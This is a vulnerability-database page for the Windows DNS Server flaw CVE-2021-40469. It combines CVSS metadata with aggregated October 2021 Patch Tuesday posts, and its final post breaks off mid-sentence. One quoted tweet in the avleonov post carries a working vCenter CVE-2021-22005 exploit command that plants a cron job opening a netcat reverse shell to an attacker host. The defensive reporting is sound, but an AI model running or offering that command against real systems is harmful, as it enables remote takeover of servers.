DATABASE RESOURCES PRICING ABOUT US

{"id": "CVE-2021-40469", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-40469", "description": "Windows DNS Server Remote Code Execution Vulnerability", "published": "2021-10-13T01:15:00", "modified": "2021-10-19T14:28:00", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.5}, "severity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 7.2, "baseSeverity": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-40469", "reporter": "secure@microsoft.com", "references": ["https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40469"], "cvelist": ["CVE-2021-40469"], "immutableFields": [], "lastseen": "2022-03-23T19:09:10", "viewCount": 92, "enchantments": {"dependencies": {"references": [{"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40469"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006732.NASL"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}], "rev": 4}, "score": {"value": 3.7, "vector": "NONE"}, "twitter": {"counter": 3, "tweets": [{"link": "https://twitter.com/cnotin/status/1467791440176726022", "text": "Privilege escalation from \"DNSAdmins\" to \"Domain Admins\" in Active Directory has finally gotten a reference: CVE-2021-40469 and a patch from Microsoft https://t.co/WIV25qm0QT\nThis attack path has been known since 4,5 years! https://t.co/mNAd2brM0z\nhttps://t.co/yoxiIEqd4U"}, {"link": "https://twitter.com/cnotin/status/1467791440176726022", "text": "Privilege escalation from \"DNSAdmins\" to \"Domain Admins\" in Active Directory has finally gotten a reference: CVE-2021-40469 and a patch from Microsoft https://t.co/WIV25qm0QT\nThis attack path has been known since 4,5 years! https://t.co/mNAd2brM0z\nhttps://t.co/yoxiIEqd4U"}, {"link": "https://twitter.com/ipssignatures/status/1467797466535837698", "text": "The vuln CVE-2021-40469 has a tweet created 0 days ago and retweeted 7 times.\n/CVEnew/status/1448102534632071176\n/hashtag/S4c4cx6kzt2qy6?src=hashtag_click"}], "modified": "2021-11-26T16:57:16"}, "backreferences": {"references": [{"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40469"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006669.NASL"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}]}, "exploitation": null, "vulnersScore": 3.7}, "_state": {"dependencies": 1659914120, "score": 1659753002, "affected_software_major_version": 1671597168}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": ["cpe:/o:microsoft:windows_server_2019:-", "cpe:/o:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_server_2016:2004", "cpe:/o:microsoft:windows_server_2016:20h2", "cpe:/o:microsoft:windows_server_2012:r2", "cpe:/o:microsoft:windows_server_2016:-", "cpe:/o:microsoft:windows_server_2008:-", "cpe:/o:microsoft:windows_server_2022:-"], "cpe23": ["cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2022:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:2004:*:*:*:*:*:*:*"], "cwe": ["NVD-CWE-noinfo"], "affectedSoftware": [{"cpeName": "microsoft:windows_server_2008", "version": "-", "operator": "eq", "name": "microsoft windows server 2008"}, {"cpeName": "microsoft:windows_server_2008", "version": "r2", "operator": "eq", "name": "microsoft windows server 2008"}, {"cpeName": "microsoft:windows_server_2012", "version": "-", "operator": "eq", "name": "microsoft windows server 2012"}, {"cpeName": "microsoft:windows_server_2012", "version": "r2", "operator": "eq", "name": "microsoft windows server 2012"}, {"cpeName": "microsoft:windows_server_2016", "version": "-", "operator": "eq", "name": "microsoft windows server 2016"}, {"cpeName": "microsoft:windows_server_2016", "version": "20h2", "operator": "eq", "name": "microsoft windows server 2016"}, {"cpeName": "microsoft:windows_server_2016", "version": "2004", "operator": "eq", "name": "microsoft windows server 2016"}, {"cpeName": "microsoft:windows_server_2019", "version": "-", "operator": "eq", "name": "microsoft windows server 2019"}, {"cpeName": "microsoft:windows_server_2022", "version": "-", "operator": "eq", "name": "microsoft windows server 2022"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:*", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2016:20h2:*:*:*:*:*:*:*", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2016:2004:*:*:*:*:*:*:*", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2022:-:*:*:*:*:*:*:*", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40469", "name": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40469", "refsource": "MISC", "tags": ["Patch", "Vendor Advisory"]}]}

{"mscve": [{"lastseen": "2022-10-03T16:25:30", "description": "Windows DNS Server Remote Code Execution Vulnerability", "edition": 1, "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-12T07:00:00", "type": "mscve", "title": "Windows DNS Server Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40469"], "modified": "2022-02-02T08:00:00", "id": "MS:CVE-2021-40469", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40469", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "malwarebytes": [{"lastseen": "2021-10-20T08:35:45", "description": "Yesterday we told you about [Apple\u2019s latest patches](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/10/update-now-apple-patches-another-privilege-escalation-bug-in-ios-and-ipados/>). Today we turn to Microsoft and its [Patch Tuesday](<https://msrc.microsoft.com/update-guide/en-us>). \n\nMicrosoft tends to provide a lot of information around its patches and, so, there&#x27;s a lot to digest and piece together to give you an overview of the most important ones. In total, Microsoft has fixed 71 Windows vulnerabilities, 81 if you include those for Microsoft Edge.\n\nOne of the vulnerabilities immediately jumps out since it was used in the wild as part of the MysterySnail attacks, attributed by the researchers that discovered it to a Chinese speaking APT group called IronHusky.\n\n### MysterySnail\n\nEarlier this month, researchers [discovered](<https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/>) that a zero-day exploit was used in widespread espionage campaigns against IT companies, military contractors, and diplomatic entities. The payload of these MysterySnail attacks is a [Remote Access Trojan (RAT)](<https://blog.malwarebytes.com/threats/remote-access-trojan-rat/>). The actively exploited vulnerability allows malware or an attacker to gain elevated privileges on a Windows device. So far, the MysterySnail RAT has only been spotted on Windows Servers, but the vulnerability can also be used against non-server Windows Operating Systems.\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). This one is listed as [CVE-2021-40449](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40449>), a Win32k Elevation of Privilege (EoP) vulnerability, which means the vulnerability allows a user to raise their permissions.\n\n### PrintNightmare\n\nI scared you by mentioning [PrintNightmare](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/microsofts-printnightmare-continues-shrugs-off-patch-tuesday-fixes/>), right? Well, that may not be completely in vain. The same researchers that discovered the PrintNightmare vulnerability have found yet another vulnerability in Microsoft\u2019s Windows Print Spooler. This one is listed as [CVE-2021-36970](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36970>), a Windows Print Spooler spoofing vulnerability. The exploitation is known to be easy, and the attack may be initiated remotely. No form of authentication is needed for a successful exploitation, but it does require some action by the intended target. We may be hearing more about this one.\n\n### Exchange again\n\nAn Exchange bug that gets a [CVSS](<https://blog.malwarebytes.com/malwarebytes-news/2020/05/how-cvss-works-characterizing-and-scoring-vulnerabilities/>) score of 9.0 out of 10 is enough to make my hair stand on end. Listed as [CVE-2021-26427](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26427>), this one is a Microsoft Exchange Server Remote Code Execution (RCE) vulnerability. The exploitation appears to be easy and the attack can be initiated remotely. A single authentication is required for exploitation, so the attacker will need to have some kind of access to exploit this one, which may be why Microsoft listed it as \u201cexploitation less likely.\u201d Exchange Servers are an attractive target and so we have seen a lot of attacks. One worrying [flaw reveals users\u2019 passwords](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/microsoft-exchange-autodiscover-flaw-reveals-users-passwords/>) and might provide attackers with the credentials they need to use this vulnerability.\n\n### Critical Microsoft Word vulnerability\n\nOne of the three vulnerabilities classified as critical is an RCE vulnerability in Word, listed as [CVE-2021-40486](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40486>). The vulnerability could allow a remote attacker to trick a victim into opening a specially crafted file, executing arbitrary code on their system.\n\nThe other two critical vulnerabilities are RCE flaws in Windows Hyper-V, the virtualization component built into Windows. These vulnerabilities are listed as [CVE-2021-38672](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38672>) and [CVE-2021-40461](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40461>).\n\n### Windows DNS Server RCE\n\nThe last one is only of interest if you are running a server that is configured to act as a DNS server. Listed as [CVE-2021-40469](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40469>), a Windows DNS Server Remote Code Execution vulnerability. The exploitation is known to be easy. The attack may be launched remotely, but the exploitation requires an enhanced level of successful authentication. The vulnerability was disclosed in the form of a Proof-of-Concept (PoC). While it may not be up to you to maintain or patch a DNS server, it&#x27;s good to know that this vulnerability exists in case we see weird connection issues as a result of [a DNS hijack](<https://blog.malwarebytes.com/cybercrime/2015/09/dns-hijacks-what-to-look-for/>) or denial-of-service.\n\nWhile many details are still unknown, we have tried to list the ones we can expect to surface as real world problems if they are not patched as soon as possible.\n\nStay safe, everyone!\n\nThe post [Patch now! Microsoft fixes 71 Windows vulnerabilities in October Patch Tuesday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/10/patch-now-microsoft-fixes-71-windows-vulnerabilities-in-october-patch-tuesday/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {}, "published": "2021-10-13T15:41:24", "type": "malwarebytes", "title": "Patch now! Microsoft fixes 71 Windows vulnerabilities in October Patch Tuesday", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-26427", "CVE-2021-36970", "CVE-2021-38672", "CVE-2021-40449", "CVE-2021-40461", "CVE-2021-40469", "CVE-2021-40486"], "modified": "2021-10-13T15:41:24", "id": "MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/10/patch-now-microsoft-fixes-71-windows-vulnerabilities-in-october-patch-tuesday/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "qualysblog": [{"lastseen": "2021-10-20T09:07:46", "description": "### Microsoft Patch Tuesday \u2013 October 2021\n\nMicrosoft patched 74 vulnerabilities in their October 2021 Patch Tuesday release, of which three are rated as critical severity and four were previously reported as zero-days.\n\n### Critical Microsoft Vulnerabilities Patched\n\n[CVE-2021-40449](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40449>) - Win32k Elevation of Privilege Vulnerability\n\nThis was a zero-day, and one of the four addressed by Microsoft this month. This vulnerability impacts the Win32K kernel driver. This is being actively exploited by IronHusky and Chinese APT groups. Microsoft has assigned a CVSSv3 base score of 7.8 to this vulnerability and it should be prioritized for patching.\n\n[CVE-2021- 40486](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40486>) \u2013 Microsoft Word Remote Code Execution Vulnerability\n\nThis vulnerability is due to improper input validation in Microsoft Word. Adversaries can exploit this vulnerability by tricking target users to open a specially crafted file and perform arbitrary code execution. Microsoft has assigned a CVSSv3 base score of 7.8 to this vulnerability.\n\n[CVE-2021-40461, CVE-2021-38672](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38672>)- Windows Hyper-V Remote Code Execution Vulnerabilities\n\nThese vulnerabilities are due to a set of flaws in the Network Virtualization Service Provider. They could allow an attacker to execute remote code on the target machine. These CVEs are assigned a CVSSv3 base score of 8.0 by the vendor.\n\n[CVE-2021-26427](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26427>): Microsoft Exchange Server Remote Code Execution Vulnerability\n\nThis is an RCE vulnerability targeting Microsoft Exchange Server. Adversaries can only exploit this vulnerability on target machines from an adjacent network. Microsoft assigned a base score of 9.0 for this vulnerability.\n\n#### Following were the three of the four zero-day vulnerabilities\n\nCVE-2021-41338: Windows AppContainer Firewall Rules Security Feature Bypass Vulnerability\n\nCVE-2021-40469: Windows DNS Server Remote Code Execution Vulnerability\n\nCVE-2021-41335: Windows Kernel Elevation of Privilege Vulnerability\n\n### Adobe Patch Tuesday \u2013 October 2021\n\nAdobe addressed 10 CVEs this [Patch Tuesday](<https://helpx.adobe.com/security.html>), and 6 of them are rated as critical severity impacting Acrobat and Reader, Adobe Connect, Opd-cli, Commerce, and Campaign products.\n\n### **Discover Patch Tuesday Vulnerabilities in VMDR**\n\nQualys VMDR automatically detects new Patch Tuesday vulnerabilities using continuous updates to its Knowledge Base (KB).\n\nYou can see all your impacted hosts by these vulnerabilities using the following QQL query:\n \n \n vulnerabilities.vulnerability:(qid:`50115` OR qid:`91822` OR qid:`91823` OR qid:`91824` OR qid:`91825` OR qid:`91826` OR qid:`91827` OR qid:`91828` OR qid:`100416` OR qid:`110392` OR qid:`110393` OR qid:`375952` OR qid:`375953`)\n\n\n\n### Respond by Patching \n\nVMDR rapidly remediates Windows hosts by deploying the most relevant and applicable per-technology version patches. You can simply select respective QIDs in the Patch Catalog and filter on the \u201cMissing\u201d patches to identify and deploy the applicable, available patches in one go.\n\nThe following QQL will return the missing patches pertaining to this Patch Tuesday.\n \n \n (qid:`50115` OR qid:`91822` OR qid:`91823` OR qid:`91824` OR qid:`91825` OR qid:`91826` OR qid:`91827` OR qid:`91828` OR qid:`100416` OR qid:`110392` OR qid:`110393` OR qid:`375952` OR qid:`375953`)\n\n\n\n### Patch Tuesday Dashboard\n\nThe current updated Patch Tuesday dashboards are available in [Dashboard Toolbox: 2021 Patch Tuesday Dashboard](<https://success.qualys.com/discussions/s/article/000006505>).\n\n### **Webinar Series: This Month in Vulnerabilities and Patches**\n\nTo help customers leverage the seamless integration between Qualys VMDR and Patch Management and reduce the median time to remediate critical vulnerabilities, the Qualys Research team is hosting a monthly webinar series [_T_](<https://event.on24.com/wcc/r/3411753/DC43289F29EF66CAE5CF62637F8CB6E3>)_[his Month in Vulnerabilities and Patches](<https://event.on24.com/wcc/r/3411753/DC43289F29EF66CAE5CF62637F8CB6E3>)_.\n\nWe discuss some of the key vulnerabilities disclosed in the past month and how to patch them: \n\n * Microsoft Patch Tuesday, October 2021 \n * Adobe Patch Tuesday, October 2021 \n\n[Join us live or watch on demand!](<https://event.on24.com/wcc/r/3411753/DC43289F29EF66CAE5CF62637F8CB6E3>)\n\nThursday, October 14, 2021 or later on demand\n\n### About Patch Tuesday\n\nPatch Tuesday QIDs are published at [Security Alerts](<https://www.qualys.com/research/security-alerts/>), typically late in the evening of [Patch Tuesday](<https://blog.qualys.com/tag/patch-tuesday>), followed shortly after by [PT dashboards](<https://qualys-secure.force.com/discussions/s/article/000006505>).", "cvss3": {}, "published": "2021-10-13T14:14:18", "type": "qualysblog", "title": "Microsoft & Adobe Patch Tuesday (October 2021) \u2013 Microsoft 74 Vulnerabilities with 3 Critical, 4 Zero-Days. Adobe 10 Vulnerabilities", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-26427", "CVE-2021-38672", "CVE-2021-40449", "CVE-2021-40461", "CVE-2021-40469", "CVE-2021-40486", "CVE-2021-41335", "CVE-2021-41338"], "modified": "2021-10-13T14:14:18", "id": "QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "avleonov": [{"lastseen": "2021-11-26T18:43:30", "description": "Hello everyone! This episode will be about relatively recent critical vulnerabilities. Let&#x27;s start with Microsoft Patch Tuesday for October 2021. Specifically, with the vulnerability that I expected there, but it didn&#x27;t get there.\n\n## Autodiscover leak discovered by Guardicore Labs \n\n&quot;Autodiscover, a protocol used by Microsoft Exchange for automatic configuration of clients such as Microsoft Outlook, has a design flaw that causes the protocol to \u201cleak\u201d web requests to Autodiscover domains outside of the user\u2019s domain but in the same TLD (i.e. Autodiscover.com).&quot; [Guardicore Labs acquired multiple Autodiscover domains](<https://www.guardicore.com/labs/autodiscovering-the-great-leak/>) and have captured 372,072 Windows domain credentials in total. It seems Microsoft have chosen to ignore this issue. No CVE, no Outlook or ActiveSync patches. The only fix is to ban the &quot;Autodiscover.&quot; domains on devices.\n\n## Microsoft Patch Tuesday for October 2021\n\n74 vulnerabilities: 1 Critical, 30 High, 43 Medium.\n\n### Elevation of Privilege - Windows Kernel (CVE-2021-40449)\n\nIt is a [use-after-free vulnerability](<https://encyclopedia.kaspersky.com/glossary/use-after-free/>) in the NtGdiResetDC function of the Win32k driver. A detailed technical description is available in Kasperky [Securelist post](<https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/>), but, in short, the vulnerability can lead to leakage of kernel module addresses in the computer\u2019s memory. This vulnerability is being exploited in the wild by APT MysterySnail. All servers and desktops should be updated.\n\n### Remote Code Execution - Microsoft Exchange Server (CVE-2021-26427)\n\nIt is necessary to update the Exchanges, but it&#x27;s not very critical. &quot;Despite the high CVSS score, the advisory does specifically point out that the vulnerability would only be exploitable from an adjacent network&quot;. There are no signs of exploitation or exploits yet. Three other vulnerabilities related to Exchange Server were also patched: CVE-2021-41350, a Spoofing vulnerability; CVE-2021-41348, allowing elevation of privilege; and CVE-2021-34453, which is a Denial of Service vulnerability.\n\n### Remote Code Execution - Windows DNS Server (CVE-2021-40469)\n\nDNS servers need to be updated, but real exploitation is unlikely. It was categorized as \u201cExploitation Less Likely.\u201d It received a CVSSv3 score of 7.2 because an attacker needs a privileged user account in order to exploit this across the network.\n\n### Remote Code Execution - Microsoft Word (CVE-2021-40486)\n\nThis is a good reason to check the Windows desktop updates. &quot;This patch corrects a bug that would allow code execution when a specially crafted Word document is viewed on an affected system. Although Microsoft lists user interaction required, the Preview Pane is also listed as an attack vector.&quot; Also take a look at desktop vulnerability Spoofing - Windows Print Spooler (CVE-2021-36970), \u201cExploitation More Likely\u201d.\n\nAnd here you can get the whole [Vulristics report](<https://avleonov.com/vulristics_reports/ms_patch_tuesday_october2021_report_avleonov_comments.html>) for Microsoft Patch Tuesday October 2021.\n\n## Apache RCE with exploit (CVE-2021-41773)\n\nApache situation is like The Benny Hill Show. First, they released a new version (49) with a critical Path Traversal / RCE vulnerability CVE-2021-41773. Other versions were safe. Fortunately, this was revealed relatively quickly, in 2 weeks. The main stable distributions simply did not have time to add these packages to their repositories. Only fans of installing Apache from source and users of Slackware, Fedora and FreeBSD have suffered. And what was left for the victims to do? Obviously, hurry to roll the new safe version (50). But it turned out that the vulnerability in 50 was not completely fixed. And now the exploit [Apache HTTP Server 2.4.50 - Path / Traversal &amp; Remote Code Execution (RCE)](<https://vulners.com/exploitdb/EDB-ID:50406>) is [publicly available](<https://t.me/avleonovnews/7619>). Repeat the exercise comrades in rolling now version 51. Everything will definitely be fine there.  It&#x27;s just a circus. \n\n## HAProxy RCE with exploit (CVE-2021-40346)\n\nA critical security vulnerability has [been disclosed in HAProxy](<https://thehackernews.com/2021/09/haproxy-found-vulnerable-to-critical.html>), a widely used open-source load balancer and proxy server, that could be abused by an adversary to possibly smuggle HTTP requests, resulting in unauthorized access to sensitive data and execution of arbitrary commands, effectively opening the door to an array of attacks. [A public POC](<https://github.com/donky16/CVE-2021-40346-POC>) has appeared for the vulnerability.\n\n## VMware vCenter arbitrary file upload with public exploit\n\n&quot;[On September 21, 2021, VMware disclosed](<https://us-cert.cisa.gov/ncas/current-activity/2021/09/24/vmware-vcenter-server-vulnerability-cve-2021-22005-under-active>) that its vCenter Server is affected by an arbitrary file upload vulnerability\u2014CVE-2021-22005\u2014in the Analytics service. A malicious cyber actor with network access to port 443 can exploit this vulnerability to execute code on vCenter Server. On September 24, 2021, VMware confirmed reports that CVE-2021-22005 is being exploited in the wild. Security researchers are also reporting mass scanning for vulnerable vCenter Servers and publicly available exploit code. Due to the availability of exploit code, CISA expects widespread exploitation of this vulnerability&quot;.\n\n> CVE-2021-22005: Exploitation in the wild confirmed. Unredacted RCE PoC against CEIP below. \n \ncurl -kv &quot;https://172.16.57.2/analytics/telemetry/ph/api/hyper/send?_c=&amp;_i=/../../../../../../etc/cron.d/$RANDOM&quot; -H Content-Type: -d &quot;* * * * * root nc -e /bin/sh 172.16.57.1 4444&quot; <https://t.co/wi08brjl3r> [pic.twitter.com/bwjMA21ifA](<https://t.co/bwjMA21ifA>)\n> \n> -- wvu (@wvuuuuuuuuuuuuu) [September 27, 2021](<https://twitter.com/wvuuuuuuuuuuuuu/status/1442634215330390020?ref_src=twsrc%5Etfw>)\n\n## RCE exploits for Moodle\n\nSeveral RCE exploits for Moodle [were released on October 13](<https://t.me/avleonovnews/7605>). \n\n 1. [1337DAY-ID-36891](<https://vulners.com/zdt/1337DAY-ID-36891>) - Moodle Admin Shell Upload Exploit\n 2. [1337DAY-ID-36892](<https://vulners.com/zdt/1337DAY-ID-36892>) - Moodle SpellChecker Path Authenticated Remote Command Execution Exploit\n 3. [1337DAY-ID-36893](<https://vulners.com/zdt/1337DAY-ID-36893>) - Moodle Teacher Enrollment Privilege Escalation / Remote Code Execution Exploit\n 4. [1337DAY-ID-36894](<https://vulners.com/zdt/1337DAY-ID-36894>) - Moodle Authenticated Spelling Binary Remote Code Execution Exploit\n\n&quot;Moodle is a free and open-source learning management system. it is used for blended learning, distance education, flipped classroom and other e-learning projects in schools, universities, workplaces and other sectors&quot;. Surely some organizations make it available on the network perimeter and do not update it regularly.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-21T00:23:01", "type": "avleonov", "title": "Security News: Microsoft Patch Tuesday October 2021, Autodiscover, MysterySnail, Exchange, DNS, Apache, HAProxy, VMware vCenter, Moodle", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22005", "CVE-2021-26427", "CVE-2021-34453", "CVE-2021-36970", "CVE-2021-40346", "CVE-2021-40449", "CVE-2021-40469", "CVE-2021-40486", "CVE-2021-41348", "CVE-2021-41350", "CVE-2021-41773"], "modified": "2021-10-21T00:23:01", "id": "AVLEONOV:99215B2D7808C46D8762AD712CD3D267", "href": "https://avleonov.com/2021/10/21/security-news-microsoft-patch-tuesday-october-2021-autodiscover-mysterysnail-exchange-dns-apache-haproxy-vmware-vcenter-moodle/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "threatpost": [{"lastseen": "2021-10-13T10:46:13", "description": "Today is Microsoft\u2019s October 2021 Patch Tuesday, and it delivers fixes for four zero-day vulnerabilities, one of which is being exploited in a far-reaching espionage campaign that delivers the new [MysterySnail RAT malware](<https://threatpost.com/windows-zero-day-exploited-espionage/175432/>) to Windows servers.\n\n[Microsoft reported](<https://msrc.microsoft.com/update-guide/vulnerability>) a total of 74 vulnerabilities, three of which are rated critical.\n\n## MysterySnail Exploits Win32K Bug\n\nSecurity researchers pointed to [CVE-2021-40449](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40449>), an elevation of privilege vulnerability in Win32k, as standing out from the crowd of patches, given that It\u2019s been exploited in the wild as a zero-day.\n\nThis summer, Kaspersky researchers discovered that the exploit was being used to elevate privileges and take over Windows servers as part of a Chinese-speaking advanced persistent threat (APT) campaign from the APT IronHusky.\n\nThe exploit chain ended with a 